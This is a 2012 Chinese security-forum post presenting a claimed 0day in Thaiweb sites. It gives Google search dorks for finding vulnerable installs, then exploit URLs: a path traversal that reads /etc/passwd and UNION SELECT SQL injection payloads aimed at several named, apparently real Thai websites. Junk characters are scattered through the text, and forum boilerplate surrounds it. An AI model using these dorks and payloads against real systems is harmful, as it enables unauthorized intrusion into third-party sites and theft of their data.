找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2075|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Google之:6 r! t3 d! {4 I" x1 Q) h4 C

8 V! {9 ?6 n$ |# I8 K( u* \intext:powered by Thaiweb" K$ D5 O/ K) b5 N+ }9 p

6 m5 g) v+ ]# c2 q2 y" t: [inurl:index.php?page=board.php1 b0 G  B( I( L+ F
+ m5 o8 |- ~$ J+ B  d0 {

* o' c) M+ ?( A. Y' }/ u3 H3 o! C2 A7 q
利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd
! w7 v  Y3 E) e3 A9 b7 w) p" c+ V2 T/ H# C, @( a5 `# C' Q

$ K7 ^# q$ Y0 L' g: S% A6 l4 z0 t% a* X$ s9 r8 D# \. [
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'
! d6 p  S3 ~3 T8 y: B  a* c1 v. s. `8 W) @- F

& v5 {" j' q' K$ W. E: x" {2 T) n* Q8 S/ X2 W: U2 i4 b6 ]
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
2 t( k8 r; Y* k7 @  u/ }2 z! ^2 Z! I; D9 G" }! p
http://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--0 h3 J& D6 P; b. r' v8 `4 p

0 U; M( ^3 P  C: a; vhttp://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
; w! f4 d" x3 p: `. y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表